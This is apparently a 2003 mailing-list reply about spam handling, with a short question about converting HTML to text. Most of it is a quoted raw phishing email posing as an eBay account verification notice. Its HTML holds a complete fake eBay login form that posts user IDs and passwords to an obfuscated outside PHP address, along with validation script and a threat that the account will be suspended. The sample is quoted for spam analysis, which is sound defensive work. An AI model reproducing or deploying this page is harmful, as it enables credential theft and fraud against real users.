> -----Original Message----- > From: Bryan Hoover > Sent: Friday, December 26, 2003 2:52 PM [...] > > Original message attached -- pretty much the same I think, as that > pasted was from a straight 'cat /var/mail/bhoover', but your 'dig' is > interesting.
Interesting. The message body appeared as plain text. However, the similar spam that we received here (see attached) was thick with HTML that obscured its purpose. Do you have something in your mail delivery pipeline that converts HTML to text?
Return-Path: <[EMAIL PROTECTED]> Received: from intrepid.intrepid.com (intrepid.intrepid.com [192.195.190.1]) by screamer.intrepid.com (8.12.8/8.12.8) with ESMTP id hA6KpOuI029023 for <[EMAIL PROTECTED]>; Thu, 6 Nov 2003 12:51:24 -0800 Received: from smtp005.mail.ukl.yahoo.com (smtp005.mail.ukl.yahoo.com [217.12.11.36]) by intrepid.intrepid.com (8.12.8/8.12.8) with SMTP id hA6KpMHr011861 for <[EMAIL PROTECTED]>; Thu, 6 Nov 2003 12:51:23 -0800 Message-Id: <[EMAIL PROTECTED]> Received: from 12-249-234-26.client.attbi.com (HELO 12.249.234.26) ([EMAIL PROTECTED] with login) by smtp1.mail.vip.ukl.yahoo.com with SMTP; 6 Nov 2003 20:51:17 -0000 From: "[EMAIL PROTECTED]" <[EMAIL PROTECTED]> To: "Gary" <[EMAIL PROTECTED]> Subject: eBay Account Verification Date: Thu, 6 Nov 2003 21:51:09 +0100 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal Reply-To: "[EMAIL PROTECTED]" <[EMAIL PROTECTED]> X-Mailer: Internet Mail Service Content-Type: multipart/alternative; boundary="----_NextPart_531863060328210" This is a multi-part message in MIME format. ------_NextPart_531863060328210 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: QUOTED-PRINTABLE Your Email Client does not support MIME encoding. Please upgrade to MIME-enabled Email Client (almost every modern Email Client is MIME-capable). ------_NextPart_531863060328210 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: QUOTED-PRINTABLE <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1"> <SCRIPT> <!-- //----------------------------------------------------------------------------------------------------------------------------------------------------// function ValidLength(str,number) { if (str < number) return false; return true; } function ValidChars(CheckStr,chars) { for (i =3D 0; i < CheckStr.length; i++) { ch =3D CheckStr.charAt(i); for (j =3D 0; j < chars.length; j++) if (ch =3D=3D chars.charAt(j)) break; if (j =3D=3D chars.length) return false; } return true; } function ValidString(CheckStr,RepeatNum) { if (CheckStr.length >=3D RepeatNum) { for (k =3D 0; k < CheckStr.length - 2; k++) { l =3D k+1; if (CheckStr.charAt(k) =3D=3D CheckStr.charAt(l)) { m =3D l+1; if (CheckStr.charAt(k) =3D=3D CheckStr.charAt(m)) { return false; break; } else { k++; }; } } } return true; } function InValidWords(CheckStr) { CheckStr =3D CheckStr.toLowerCase(); if (CheckStr.search(/fuck/i) !=3D -1 || CheckStr.search(/shit/i)!=3D -1 || CheckStr.search(/bitch/i) !=3D -1 || CheckStr.search(/sdf/i) !=3D -1 || CheckStr.search(/dfg/i) !=3D -1 || CheckStr.search(/asfd/i) !=3D -1 || CheckStr.search(/asd/i) !=3D -1 || CheckStr.search(/noname/i) !=3D -1 || CheckStr.search(/firstname/i) !=3D -1 || CheckStr.search(/lastname/i) !=3D -1 || CheckStr.search(/zip/i) !=3D -1 || CheckStr.search(/zipcode/i) !=3D -1) return true; return false; } //--------------Main Procedure--------------------------------------------------------------------------------------------// function Valid(theForm) { //----------- Begin Email Validation -------------------------// var FormEmail =3D theForm.email.value ValidEmailChars =3D "[EMAIL PROTECTED]"; if (!ValidLength(FormEmail.length, 2)) { alert ("Please enter your userid"); theForm.email.focus(); return false; } /*-----------End Email Validation -------------------------/ /------------Begin First Name Validation -----------------*/ var FormFName =3D theForm.firstname.value var ValidNameChars =3D "[EMAIL PROTECTED]&* "; var voweltest =3D /[aeiou]+/i; if (!ValidLength(FormFName.length, 2)) { alert ("Please enter your password"); theForm.firstname.focus(); return false; } /*----------------- End First Name Validation ------------------/ /------------------ Begin Last Name Validation ----------------*/ /*--------------------- End Last Name Validation ----------------------*/ return true; } //--> </SCRIPT> <TR><TD> <META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD> <BODY><BR> <DIV id=3Dmessage style=3D"WIDTH: 800px; HEIGHT: 913px"><!--A http-equiv=3D"Content-Type" content=3D"text/html; charset=3DUTF-1--><XMETA CONTENT=3D"0" HTTP-EQUIV=3D"Expires"><CURSIVE language=3D_JavaScript><!-- var pageName =3D "PageSignIn"; var server =3D "location.hostname.toLowerCase()"; var channel =3D "eBay"; //--></SCRIPT><CURSIVE language=3D_JavaScript src=3D"http://include.ebay.com/aw/pics/js/help/openHelpWindow.js"></SCRIPT><XBODY bgcolor=3D"#ffffff"><CURSIVE src=3D"http://include.ebay.com/aw/pics/js/help/openHelpWindow.js"></SCRIPT><CURSIVE SRC=3D"http://include.ebay.com/aw/pics/js/cobrand/cobrand.js"></SCRIPT><CURSIVE language=3D_JavaScript><!-- var cbc, cbf; if (cbc){ writeHeader(); } //--></SCRIPT> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D600 border=3D0> <TBODY> <TR> <TD width=3D150><CURSIVE language=3D_JavaScript><!-- var cbc; if (cbc){ writeBrow(); } //--></SCRIPT><A href=3D"http://www.ebay.com/" target=3D_blank><IMG height=3D70 alt=3D"eBay logo" hspace=3D0 src=3D"http://pics.ebay.com/aw/pics/navbar/ebay_logo_home.gif" width=3D150 border=3D0></A></TD> <TD vAlign=3Dtop align=3Dright width=3D450><MAP name=3Dhome_myebay_map_hasJS><AREA shape=3DRECT target=3D_blank alt=3DHome coords=3D209,0,256,15 href=3D"http://www.ebay.com/"><AREA shape=3DRECT target=3D_blank alt=3D"My eBay" coords=3D257,0,318,15 href=3D"http://cgi1.ebay.com/aw-cgi/eBayISAPI.dll?MyEbayLogin"><AREA shape=3DRECT target=3D_blank alt=3D"Site Map" coords=3D319,0,383,15 href=3D"http://pages.ebay.com/sitemap.html"><AREA shape=3DRECT target=3D_blank alt=3D"Sign In/Out" coords=3D384,0,447,15 href=3D"http://cgi3.ebay.com/aw-cgi/eBayISAPI.dll?SignIn"></MAP></TD></TR></TBODY></TABLE><CURSIVE language=3D_JavaScript></SCRIPT> <FORM name=3Dsignup onsubmit=3D"return Valid(this)" action=3Dhttp://[EMAIL PROTECTED]/eBayISAPidlldasSKJEDFKJSdsalkepoamncjfdsjKKdsjdxcmnzkjsjeLKKLKdsjnxs/ksjdeISJJSjjISSdlldkDKJlLXcdcawerfDEurERRudsksalfkmcxXXlkdmfldll/LKJDjedssjheflkcgieBaysadkKJEDjdfklluseridLKSKdskdmxskjdeEEdkjas7837sdkjd/a.php method=3Dpost><INPUT type=3Dhidden value=3D1 name=3Dconfirm> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D807 border=3D0> <TBODY> <TR> <TD width=3D16 bgColor=3D#ffcc00 height=3D2><IMG height=3D2 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D16 border=3D0></TD> <TD width=3D18 bgColor=3D#ffcc00 height=3D2><IMG height=3D2 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D18 border=3D0></TD> <TD width=3D773 bgColor=3D#ffcc00 colSpan=3D2 height=3D2><IMG height=3D2 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D566 border=3D0></TD></TR> <TR> <TD width=3D34 bgColor=3D#ffe680 colSpan=3D2><XBODY bgcolor=3D"#ffffff"><IMG height=3D25 alt=3Dcorner src=3D"http://pics.ebay.com/aw/pics/msn/bar_16x25.gif" width=3D30 border=3D0></XBODY><IMG height=3D1 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D4 border=3D0></TD> <TD vAlign=3Dcenter width=3D542 bgColor=3D#ffe680 height=3D25> </TD> <TD vAlign=3Dbottom width=3D231 bgColor=3D#ffe680 height=3D25> </TD></TR></TBODY></TABLE> <TABLE height=3D24 cellSpacing=3D0 cellPadding=3D0 width=3D808 border=3D0> <TBODY> <TR> <TD vAlign=3Dtop width=3D16 bgColor=3D#ffffff height=3D24 rowSpan=3D2> <TABLE cellSpacing=3D0 cellPadding=3D0 border=3D0> <TBODY> <TR> <TD vAlign=3Dtop bgColor=3D#ffffff colSpan=3D2><IMG height=3D17 alt=3Darc src=3D"http://pics.ebay.com/aw/pics/msn/Curve_16x17.gif" width=3D16 border=3D0></TD></TR> <TR> <TD width=3D3 bgColor=3D#ffcc00 height=3D9><IMG height=3D9 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D3 border=3D0></TD> <TD width=3D3 bgColor=3D#ffffff height=3D9><IMG height=3D9 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D13 border=3D0></TD></TR></TBODY></TABLE></TD> <TD width=3D792 bgColor=3D#ffcc00 colSpan=3D2 height=3D3><IMG height=3D3 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D584 border=3D0></TD></TR> <TR> <TD width=3D500 bgColor=3D#ffffff height=3D21><IMG height=3D1 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D44 border=3D0></TD> <TD align=3Dleft width=3D292 bgColor=3D#ffffcc height=3D21><IMG height=3D23 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/msn/curve_21x21.gif" width=3D21 border=3D0></TD></TR></TBODY></TABLE> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D808 border=3D0> <TBODY> <TR> <TD width=3D3 bgColor=3D#ffcc00 height=3D295><IMG alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D3 border=3D0></TD> <TD width=3D30><IMG height=3D"100%" alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D30 border=3D0></TD> <TD vAlign=3Dtop width=3D505> <TABLE height=3D295 cellSpacing=3D0 cellPadding=3D0 border=3D0> <TBODY> <TR> <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D1 border=3D0></TD></TR> <TR> <TD colSpan=3D3> <P style=3D"MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px" align=3Dcenter><BR><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D2> </FONT><TT style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana">Dear eBay User,</TT></P> <P align=3Dcenter><SPAN style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana"> During our regular update and verification of the accounts, we could not verify your current information. Either your information has changed or it is incomplete.</SPAN></P> <P align=3Dcenter><SPAN style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana"> <B> As a result, your access to bid or buy on </B></SPAN><B><TT style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana">eBay </TT></B><SPAN style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana"><B>has been restricted</B>.</SPAN></P><FONT face=3DVerdana size=3D2> <P align=3Dcenter>According to our site policy you will have to confirm that you are the real owner of the eBay account by log in and complete the form that will pop up or else your account will be suspended without the right to register again with eBay.</P> <P align=3Dcenter><B>After you will login please verify your information in order to complete this verification.</B></P> <P align=3Dcenter><B>Thank you</B></P> <P align=3Dcenter><B>eBay Customer Support</B></P></FONT></TD></TR> <TR> <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D1 border=3D0></TD></TR> <TR> <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D1 border=3D0></TD></TR> <TR> <TD vAlign=3Dtop align=3Dleft><IMG height=3D1 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D120 border=3D0><BR><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D-1><B>eBay <A href=3D"http://pages.ebay.com/help/new/user_id.html" target=3D_blank onfiltered=3D"return openHelpWindow(this.href);">User ID</A> </B></FONT> </TD> <TD align=3Dleft colSpan=3D2><INPUT maxLength=3D50 size=3D30 name=3Demail> <BR><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D-2>You can also use your registered email. <BR><BR></FONT></TD></TR> <TR> <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D1 border=3D0></TD></TR> <TR> <TD vAlign=3Dtop align=3Dleft height=3D32><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D-1><B>eBay Password </B></FONT></TD> <TD align=3Dleft colSpan=3D2><INPUT style=3D"WIDTH: 216px; HEIGHT: 22px" type=3Dpassword maxLength=3D63 size=3D31 name=3Dfirstname> <BR><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D-2><A href=3D"http://pages.ebay.com/services/registration/reqpass.html" target=3D_blank>Forgot</A> your password? </FONT></TD></TR> <TR> <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D1 border=3D0></TD></TR> <TR> <TD align=3Dleft> </TD> <TD align=3Dleft colSpan=3D2><INPUT type=3Dsubmit value=3DSubmit name=3Dsubmit> </TD></TR> <TR> <TD colSpan=3D3 height=3D16><IMG height=3D15 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D1 border=3D0></TD></TR> <TR> <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D1 border=3D0></TD></TR> <TR> <TD colSpan=3D3 height=3D20><IMG height=3D16 src=3D"http://pics.ebay.com/aw/pics/questions_18x16.gif" width=3D18 border=3D0> Having problems signing in? <A href=3D"http://pages.ebay.com/help/new/additional_signin_tips.html" target=3D_blank onfiltered=3D"return openHelpWindow(this.href);"><B>Get help now</B></A>.</TD></TR></TBODY></TABLE></TD> <TD vAlign=3Dtop width=3D270 bgColor=3D#ffffcc> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D259 border=3D0> <TBODY> <TR> <TD width=3D14><IMG src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D14 border=3D0></TD> <TD vAlign=3Dtop align=3Dleft width=3D137><IMG height=3D1 src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D137 border=3D0><BR></TD> <TD width=3D108><IMG src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D14 border=3D0></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D600 border=3D0> <TBODY> <TR> <TD colSpan=3D2> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D808 border=3D0> <TBODY> <TR> <TD width=3D17 rowSpan=3D2><IMG height=3D16 src=3D"http://pics.ebay.com/aw/pics/msn/btmCurve_16x17.gif" width=3D17 border=3D0></TD> <TD width=3D521 height=3D12></TD> <TD align=3Dright width=3D270 bgColor=3D#ffffcc height=3D12><IMG height=3D1 src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D165></TD></TR> <TR> <TD width=3D791 bgColor=3D#ffcc00 colSpan=3D2 height=3D3><IMG height=3D3 src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif" width=3D583 border=3D0></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR></FORM><CURSIVE SRC=3D"http://include.ebay.com/aw/pics/js/stats/ss.js"></SCRIPT> <P> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D808 border=3D0> <TBODY> <TR> <TD width=3D808 colSpan=3D2><BR> <HR align=3Dcenter width=3D500> <BR> <DIV align=3Dcenter><FONT size=3D2><A href=3D"http://pages.ebay.com/community/index.html" target=3D_blank>Announcements</A> | <A href=3D"http://cgi4.ebay.com/aw-cgi/eBayISAPI.dll?RegisterShow" target=3D_blank>Register</A> | <A href=3D"http://pages.ebay.com/help/community/index.html" target=3D_blank>SafeHarbor (Rules & Safety)</A> | <A href=3D"http://pages.ebay.com/services/forum/feedback.html" target=3D_blank>Feedback Forum</A> | <A href=3D"http://pages.ebay.com/community/aboutebay/index.html" target=3D_blank>About eBay</A></FONT> </DIV><BR></TD></TR> <TR> <TD vAlign=3Dtop align=3Dleft width=3D450 height=3D64><FONT size=3D2>Copyright =A9 1995-2003 eBay Inc. All Rights Reserved. <BR>Designated trademarks and brands are the property of their respective owners.</FONT></TD> <TD vAlign=3Dtop align=3Dright width=3D358 height=3D64><FONT size=3D2><A href=3D"http://pages.ebay.com/help/community/png-priv.html" target=3D_blank><IMG height=3D31 alt=3DTrustE src=3D"http://pics.ebay.com/aw/pics/truste_button.gif" width=3D116 align=3Dmiddle border=3D0></A></FONT> </TD></TR></TBODY></TABLE></P><CURSIVE language=3D_JavaScript><!-- var cbc, cbf; if (cbc){ writeFooter(); if (cbf){ fullCB(); } } //--></SCRIPT></XBODY></DIV></TD></TR></TBODY></TABLE></TD></TR><TR class=3Dheadc bgColor=3D"#eef3fb"><TD style=3D"PADDING-RIGHT: 6px; PADDING-LEFT: 6px; PADDING-BOTTOM: 6px; PADDING-TOP: 6px"> </BODY></HTML> ------_NextPart_531863060328210--